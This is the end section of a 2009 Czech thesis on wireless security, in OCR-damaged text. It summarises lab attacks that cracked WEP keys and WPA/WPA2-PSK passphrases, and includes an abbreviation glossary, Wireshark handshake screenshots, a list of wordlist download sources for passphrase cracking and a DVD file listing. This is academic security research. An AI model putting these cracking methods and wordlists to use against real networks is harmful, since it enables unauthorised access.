klice pro ptipojeni do sité. Zde byly realizovany utoky FMS, KoreK a PTW. Jako nejefektivnéjsi
metoda se projevila PTW jak pro 40 bitovy tak 104 bitovy tajny kli¢. Potifebny pocet
zachycenych ramc( se pro 40 bitovy tajny kli¢ pohyboval v rozmezi pfiblizné 18000 az 26000
zachycenych ramca. U 104 bitového WEP byl tento pocet od 42000 do 60000 zachycenych
ramcU. Z vySe uvedenych faktd je patrné, Ze pouZiti WEP je v soucasné dobé nebezpecné.
Navriené metody ochrany jsou popsany vzdy pro dany utok.
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Na zabezpedeni WPA /WPA 2 nahrazujici chyby obsahujici WEP byl proveden slovnikovy utok
na passphrase pouZitou v Pre-Shared Key autentizaci. Utok byl realizovan jak na WPA
pouzivajici Sifrovani TKIP tak na WPA2 pouzivajici Sifrovani AES vZdy se stejnym vysledkem
ziskani passphrase. Rychlost prohledavani slovniku se v obou ptipadech pohybovala kolem
40 az 50 passphrase/sekundu. Pfedvypocitani hash souboru urychlilo prohledavani slovniku
o nékolik rada a to pfriblizné 65000 passphrases za sekundu. Dal$im moznym urychlenim
ziskani passphrase pouzité v PSK je vyuziti vice jadrového procesu. Byl pouzit dvou jadrovy
procesor a rychlost prohledavani slovnikl se zvysila priblizné na dvojnasobek, tedy na cca.
100 passphrases za sekundu.

V posledni ¢asti prace byl realizovan Utok na zabezpeceni WPA-TKIP pomoci utility tkiptun-
ng. Podafilo se deautentizovat klienta a tim ziskat WPA handshake mezi klientem a
pristupovym bodem. Nasledné mél byt ziskan keystream pouZzity k zaSifrovani ramce pomoci
TKIP. Ten vsak nebyl ziskan. Problém mohl byt zplsobeny diky pouzité nekompletni verzi,
ktera mohla zpUsobit nepfijeti ARP ramce prichazejiciho od klienta.

Zvyse uvedenych odstavcli je patrné, Ze zabezpeCovaci metody pouZité k ochrané
prenasenych dat pomoci bezdratové technologie je v soucasné dobé nedostacujici. V dnesni
dobé jesté velmi pouzivané zabezpeceni WEP je snadno prekonatelné. Jeho ndhrada WPA je
v pfipadé nevhodné zvoleného hesla také prolomitelnd. Jako alternativa a doporucena
metoda zabezpecleni by byl pfechod na zabezpeceni pouZzivajici AES a CCMP tedy WPA2,

vevys
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SEZNAM ZKRATEK

ACK (Aknowledgement) = potvrzovaci rdmec.

AES (Advanced Encryption Standard) = rozsifeny Sifrovaci standard.

AP (Access Point) = pristupovy bod do bezdratové sité.

BSS (Basic Service Set) = zakladni sada sluzeb.

CCM (Counter-mode/Cipher Block Chaining-Message Authentication Code) = ¢itacovy méd
s autentizaci zpravy retézenim bloka sifer.

CCMP (CCM Protocol) = zkratka zaménovana s CCM.

CRC (cyclic redundancy code) = cyklicky kod slouZici k detekci chyby.

CSMA/CA (Carrier Sense Multiple Access with Collision Avoidance) = pfistup k médiu
s detekci signalu, vicenasobnym pfistupem a predchazenim kolizi.

CTS (Clear-To-Send) = povoleni vyslilani, jedna se o kontrolni ramec.

DCF (Distributed Coordination Function) = funkce distribuované koordinace.

DoS (Denial of Service) = zamitnuti sluzby.

DS (Distribution System) = distribu¢ni systém.

DSSS (Direct Sequence Spread Spectrum) =modulace rozprostienym spektrem a pfimou
sekvenci.

EAP (Extensible Authentication Protocol) = rozsifeny autentizacni protokol.

ESS (Extended Service Set) =rozsifena sada sluzeb.

ESSID (Extended Service Set Identification) = identifikator ESS, pouziva se na misto SSID.

ETSI (European Telecommunications Standards Institute) = Evropsky institut pro
telekomunikacni standardy.

FCC (Federal Communications Commission) = Federalni komunikaéni komise.

FCS (Frame Check Sequence) = kontrolni hodnota ramce.
FHSS (Frequncy Hopping Spread Spectrum) =rozlozené spektrum s preskakovanim mezi frekvencemi.

FPGA (Field-programmable gate array) = programovatelné pole.

GEK (Group Encryption Key) = skupinovy Sifrovaci klic.

GIK (Group Integrity Key) = skupinovy kli¢ pro vypocet integrity dat.

GMK (Group Master Key) = hlavni skupinovy kli¢, pocitaji se z néj ostatni skupinové klice.
GTK (Group Transient Key) = pfechodny skupinovy klic.

IBSS (Independent BSS) = nezavisla BSS, neboli propojeni stanic bez pfistupového bodu, tzv. Ad-hoc.
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IDS (Intrusion Detection System) = detekéni systém ruseni.

IEEE (Institute of Electrical and Electronics Engineers)

ISM (Industry, Scince, Medical) = primysl, véda, lékarstvi.

IV (Inicialization Vector) = inicializacni vektor.

KCK (Key Confirmation Key) = potvrzovaci kli¢, pouzivany u handshake WPA / WAP2.

KEK (Key Encryption Key) = Sifrovaci kli¢ pro handshake zpravy u WPA / WPA2.

KSA (Key Sheduling Algorithm) = algoritmus na rozvrhnuti kli¢e, 1. Faze RC4.

LAN (Local Area Network) = lokalni sit.

LEAP (Lightweight Extensible Authentication Protocol) = odlehéeny EAP, navrzen firmou
Cisco.

LLC (Logic Link Control) = podvrstva linkové vrstvy referenéniho modelu OSI.

LMSC (LAN / MAN Standards Committee)

LSB (Least Significant Bit) = nejméné vyznamny bit.

MAC (Media Access Control) = fizeni pfistupu k médiu, podvrstva linkové vrstvy.

MIC (Message Integrity Code) = integracni kéd zpravy, zkratka pouZivana v 802.11 na misto
Message Authentication Code z divodu mozné zamény s MAC.

MIMO (Multiple Input Multiple Output) = vicenasobny vstup, vicendsobny vystup, metoda
pouzivajici vice vstupnich a vystupnich bod(.

MPDU (MAC Protocol Data Unit) = fragmentovany ramec MSDU.

MSB (Most Significant Bit) = nejvice vyznamny bit.

MSDU (MAC Service Data Unit) = rdmec, jednotka dat.

NAV (Network Allocation Vector) = vektor alokace sité, ¢asovac urcujici dobu obsazeni

kanalu.

OFDM (Orthogonal Frequency Division Multiplex) = ortogonadlni frekvenéné déleny multiplex.

PCF (Point Coordination Function) = funkce koordinace jednim bodem.

PEAP (Protected EAP) = chranény EAP, autentizace probiha Sifrovanym kanalem.

PKI (Public Key Infrastructure) = verejny kli¢ slouZici k vytvoreni Sifrovaného tunelu mezi
klientem a autentizacnim serverem.

PMK (Pairwise Master Key) = hlavni parovy klic.

PN (Packet Number) = Cislo paketu.

PPK (PerPacket Keying)

78



Zabezpeceni bezdrdtovych siti, 2009

PPP LCP (Point-To-Point Link Control Protocol) = linkovy protokol pro spojeni bod — bod.

PRGA (PseudoRandom Generator Algorithm) = algoritmus generovani pseudondhodné
posloupnosti, byva zaménovan s PRNG.

PRNG (PseudoRandom Number Generator) = generator pseudonahodné posloupnosti Cisel,

byva zaménovan s PRGA.

PSK (Pre-Shared Key) = predsdileny tajny kli¢ pouzivany v méné bezpecné verzi WPA WPA2.

PTK (Pairwise Transient Key) = pfechodny parovy klic.

QoS (Quality of Service) = zajisténi kvality sluzeb.

RTS (Request-To-Send) = pozadavek na vysilani.

SSID (Set Service Identifier) = identifikator sady sluzeb, tj. identifikator bezdratové sité.

TDD (Time Division Duplex) = ¢asové déleny duplex.

TID (Traffic Identifier) = identifikator pouZitého kandlu v QoS.

TK (Temporal Key) = docasny klic.

TKIP (Temporary Key Intergrity Protocol) = protokol s integritou do¢asnych kli¢a, Sifrovaci
protokol WPA.

TLS (Transport Layer Security) = metoda autentizace EAP.

TSC (TKIP Sequence Counter) = sekvencni pocitadlo pro TKIP.

TTLS (Tunneled Transport Layer Protocol) = metoda autentizace EAP.

VPU (Vector Processing Unit) = jednotka vektorovych procesu.

WDS (Wireless Distribution System) = bezdratovy distribucni systém, typ distribucniho
systému.

WEP (Wired Equivalent Privacy) = plvodni zabezpeceni standardu 802.11.

WiFi (Wireles Fidelity) = oznacovani vyrobk( hlasicich se ke standardu 802.11, které prosly

testem interoperability.

WLAN (Wireless Local Area Network) = bezdratova lokalni sit

WPA (Wireless Protected Access) = zabezpeceny pristup WiFi.

XOR (exclusive OR) = logicky vyhradni soucet.
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Obsah pfilozenych soubord na DVD
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A Zachyceny 4-way handshake v prostiedi Wireshark

Ukazka 4-way handshake ze zachycenych ramcu, zobrazenych v programu Wireshark.

wpapsk-01.cap - Wireshark

File Edit View Go Capture Analyze Statistics Help

SEce pEXEeE e FE EE R @EEL B

[ Filter: ueapol j 4 Expression... &Qlear‘ qf"ﬂpply‘
No.. Time Source Destination Protocol |Info B

199 7.718396 Draytek df:1d:b@ D-Link_46:13:19
201 7.721460 D-Link_46:13:19 Draytek_df:1d:b@ EAPOL Key
203 7.725564 Draytek_df:1d:bo D-Link_46:13:19 EAPOL Key
205 7.728628 D-Link_46:13:19 Draytek_df:1d:bo EAPOL Key =

x o

< 802.1X Authentication =

Version: 1

Type: Key (3)

Length: 95

Descriptor Type: EAPOL WPA key (254)
Key Information: 0x0089

Key Length: 32

Replay Counter: 1

Nonce: 5D76FCF2EBEF5476566583BE9EF82C8332599892AF996364. . .
Key IV: 00000000000000000000000000000000

WPA Key RSC: 0000000000000000

WPA Key ID: 0000000000000000

WPA Key MIC: 00000000000000000000000000000000

WPA Key Length: 0

GLI:ENO8 62 75 00 00 15 9 46 13 19 00 50 7f df 1d be|

CLI: 00 50 7f df 1d be 40 6c aa aa 03 00 00 00 88 8e c e soccoscc
CLrlNNO1 03 00 5f fe 60 89 60 20 00 00 60 00 00 0O OO Cia_eaae aasaaas

nn20n

-

[

L]

|Frame (frame), 131 bytes | Packets: 290 Displayed: 4 Marked: O | Profile: Default

’

Obr. A.1: Rdmec zaslany pristupovym bodem klientovi pfi inicializaci 4-way handshake

wpapsk-01.cap - Wireshark

File Edit View Go Capture Analyze Statistics Help

SBEdee cEXeE ceswTFREEE QA @¥ME B
B Filter: ueapol j < Expression... églear‘ f‘fﬂpply‘
No.. ‘Time | Source | Destination Protocol ‘ Info B

199 7.718396 Draytek_df:1d:b@ D-Link_46:13:19 EAPOL Key
201 7.721460 D-Link 46:13:19 Draytek df:1d:b@
203 7.725564 Draytek_df:1d:b@ D-Link_46:13:19 EAPOL Key
205 7.728628 D-Link_46:13:19 Draytek_df:1d:b@ EAPOL Key =

e 4

- 802.1X Authentication =l

Version: 1

Type: Key (3)

Length: 119

Descriptor Type: EAPOL WPA key (254)
Key Information: 0x0109

Key Length: ©

Replay Counter: 1

Nonce: 4408FEBC181A4F60672C137081B806ATD89A3C2ATEBSCCTS. . .
Key IV: 00000000000000000000000000000000

WPA Key RSC: 6000000000000000

WPA Key ID: 0000000000000000

WPA Key MIC: 8D6886ECI1DATED622F5A4DCD64CEODFO -
WPA Key Length: 24

0000 08 01 3a 01 00 50 7f df 1d bo 00 15 e9 46 13 19

0016 00 50 7f df 1d be 30 60 aa aa ©3 00 00 00 88 8e
0020 01 03 00 77 fe 01 09 GO0 00 00 00 00 00 00 00 00

nA20 A1 A4 08 Ffa he 19 12 AF &R RT - 12 70 21 _hA QAR n N n

-

L[]

[4]

|Fi|e: "fmnt/sda5/WPAPSK/... | Packets: 290 Displayed: 4 Marked: O | Profile: Default

Obr A.2: Rdmec obsahujici odpovéd klienta na rdmec pfijaty od AP v rdmci 4-way handshake
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wpapsk-01.cap - Wireshark

File Edit View Go Capture Analyze Statistics Help

Seges cEXEL A e T L EHE QA @MEX G

& Filter: ueapol j 4 Expression...| 4 Clear qfﬂpply‘
No.. ‘Time | Source | Destination | Protocol ‘ Info B

199 7.718396 Draytek_df:1d:bo D-Link_46:13:19 EAPOL Key
201 7.721460 D-Link 46:13:19 Draytek _df:1d:be EAPOL Key
203 7.725564 Draytek df:1d:b@ D-Link 46:13:19
205 7.728628 D-Link_46:13:19 Draytek df:1d:be EAPOL Key =

‘ | ....... ﬂ

~ 802.1X Authentication =

Version: 1

Type: Key (3)

Length: 119

Descriptor Type: EAPOL WPA key (254)

Key Information: 0x01c9

Key Length: 32

Replay Counter: 2

Nonce: 5D76FCF2E8EF5476566583BE9EF82C8332599892AF996364. . .
Key IV:
WPA Key RSC: 0000000000000000

WPA Key ID: 0000000000000000

WPA Key MIC: E6119B50B8170E8F808CD41F0O968EGFC
WPA Key Length: 24

-

L [«

0000 08 82 75 00 00 15 e9 46 13 19 00 50 7f df 1d b N T P

0010 00 50 7f df 1d be 50 6c aa aa 03 00 00 00 88 8e .P....P.

0020 01 83 00 77 fe 01 c9 G0 20 00 0O OO 00 0O 0O OO P

D20 N BEAd TAa - 2 A0 AVF BA TJA BEA AR 92 ha 0OA 0 O T T ulan - ﬂ
File: "/mnt/sda5/WPAPSK/... | Packets: 290 Displayed: 4 Marked: O Profile: Default

Obr. A.3: Treti rémec 4-way handshake

wpapsk-01.cap - Wireshark

File Edit View Go Capture Analyze Statistics Help

SEced pEXeE cebwFE EEH R @VE L B

[ Filter: ueapol j 4 Expression...| £ Clear zvj”ﬂpply‘
No.. ‘Time | Source | Destination | Protocol ‘ Info B
199 7.718396 Draytek_df:1d:b@ D-Link_46:13:19 EAPOL Key
201 7.721460 D-Link_46:13:19 Draytek_df:1d:b@ EAPOL Key
203 7.725564 Draytek_df:1d:bo D-Link_46:13:19 EAPOL Key
205 7.728628 D-Link_46:13:19 Draytek df:1d:b@
— 2
- 802.1X Authentication [

Version: 1

Type: Key (3)

Length: 95

Descriptor Type: EAPOL WPA key (254)

Key Information: 0x0109

Key Length: @

Replay Counter: 2

Nonce: 000000000000000000000000000000000000000000000000. . .
Key IV: 00000000000000000000000000000000

WPA Key RSC: 0000000000000000

WPA Key ID: 0000000000000000

WPA Key MIC: 254FB426FE28AFDA5C84D45A4BETECB2
WPA Key Length: 0

-

06000 08 01 3a 01 00 50 7f df 1d bo 00 15 €9 46 13 19
0016 00 50 7f df 1d be 40 60 aa aa 03 00 00 00 88 8e
0020 01 03 00 5f fe 01 09 G0 00 00 00 00 00 00 OO OO

nO20 A0 N0 AN A0 A AN AN AN AN NA AN AN A0 AA A0 A0

[

L]

|Fi|e: "/mnt/sda5/WPAPSK/... | Packets: 290 Displayed: 4 Marked: O Profile: Default

Obr. A.4: Ctvrty ramec 4-way handshake
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B Slovniky pro utok na PSK WPA/WPA2

Seznam zdroju obsahuijici slovniky pro utok na PSK WPA/WPA2 [22]:

ftp://ftp.openwall.com/pub/wordlists/

http://www.openwall.com/mirrors/
ftp://ftp.ox.ac.uk/pub/wordlists/
http://gdataonline.com/downloads/GDict/

http://www.theargon.com/achilles/wordlists/

http://theargon.com/achilles/wordlists/theargonlists/
ftp://ftp.cerias.purdue.edu/pub/dict/
http://www.outpost9.com/files/WordLists.html

http://www.securinfos.info/wordlists dictionnaires.php

http://www.vulnerabilityassessment.co.uk/passwords.htm

http://packetstormsecurity.org/Crackers/wordlists/

http://www.ai.uga.edu/ftplib/natural-language/moby/

http://www.insidepro.com/eng/download.shtml

http://www.word-list.com/

http://www.cotse.com/tools/wordlists1l.htm

http://www.cotse.com/tools/wordlists2.htm

http://wordlist.sourceforge.net/

V pfipadé, Ze si chcete vytvorit vlastni slovnik, je mozné pouzit nasledujici odkaz:

http://awlg.org/index.gen

popripadé utilita John the Ripper dostupna z http://www.openwall.com/john/
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C Obsah pfiloZzenych soubori na DVD

Files/ -zachycené soubory z jednotlivych Gtok(
|-- ARP injekce
replay_arp-0414-093754.cap — zachycené ARP ramce v siti
replay_src-0414-093853.cap — vybrany ARP rdmec pouzity pfi ARP injekci
arpinjection-01.ivs — zachycené ARP odpovédi, mozné pouzit k ziskani hesla
|-- Fragmentacni utok
replay_src-0414-101235.cap — zachyceny ramec pouzity pro fragmentacni atok
fragment-0414-101238.xor — ziskany keystream o délce 1500 B
| -- Autenticated KoreK chopchop
|-- Fake autentization
replay_src-0414-104234.cap — zachyceny ramec pro KoreK chopchop utok
replay_dec-0414-104643.xor — ziskany keystream
replay_dec-0414-104643.cap — desifrovany ramec
|-- Changed MAC
replay_src-0414-112348.cap — zachyceny rdmec pro KoreK chopchop utok
replay_dec-0414-112419.xor — ziskany keystream
replay_dec-0414-112419.cap — desifrovany rdmec
| -- KoreK chopchop without autenticated
| -- 1zolovani_klienti
replay_src-0414-115515.cap — zachyceny rdmec pro KoreK chopchop utok
replay_dec-0414-115539.xor — ziskany keystream
replay_dec-0414-115539.cap — desifrovany rdamec
|-- Bez_klienta
replay_src-0414-115852.cap — zachyceny rdmec pro KoreK chopchop utok
replay_dec-0414-120736.xor — ziskany keystream
replay_dec-0414-120736.cap — desifrovany rdmec
|-- FMS
fmspass01_128.cap — zachycend data pro FMS Utok pomoci utility AirSnort
| -- KoreK
|-- 64 — obsahuje zachycena data Sifrovana 40 bitovym WEP pro utok KoreK
korek0164-01.cap
korek0264-01.cap
korek0364-01.cap
|-- 128 — obsahuje zachycena data Sifrovana 104 bitovym WEP pro utok KoreK
korek01128-01.cap
korek02128-01.cap
korek03128-01.cap
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|-- PTW
|-- 64 — obsahuje zachycena data Sifrovana 40 bitovym WEP pro utok PTW
ptwpass01_64-01.cap
ptwpass02_64-01.cap
ptwpass03_64-01.cap
|-- 128 — obsahuje zachycena data Sifrovana 104 bitovym WEP pro utok PTW
ptwpass01_ 128-01.cap
ptwpass02_128-01.cap
ptwpass03_128-01.cap
| -- Vytvorene ramce
Arp-request.cap
UDP-frame.cap
|-- WPAPSK
| -- deautentizace
wpapsk-01.cap — zachyceny WPA handshake v pfipadé deautentizace
|-- prihlaseni
wpapsk-01.cap — zachyceny WPA handshake pfti pfihlaseni
dict - slovnik
|-- WPA2PSK
|-- two_dictionary
wpa2psk-2d-01.cap — zachyceny WPA handshake
Xaa — prvni ¢ast rozdéleného slovniku
xab — druha ¢ast rozdéleného slonviku
dict — poutzity slovnik
hashfile - vygenerovan hash pomoci genpmk pro dané SSID a slovnik
wpa2psk-01.cap — zachyceny WPA handshake
wpa2psk-test-01.cap — zachyceny WPA handshake se zménénym heslem
| -- Src — adresar obsahujici tabulky a obrazky pouZité v diplomové praci
|-- Tab/*
|-- Obrazky/*
DP_xsedla60.pdf
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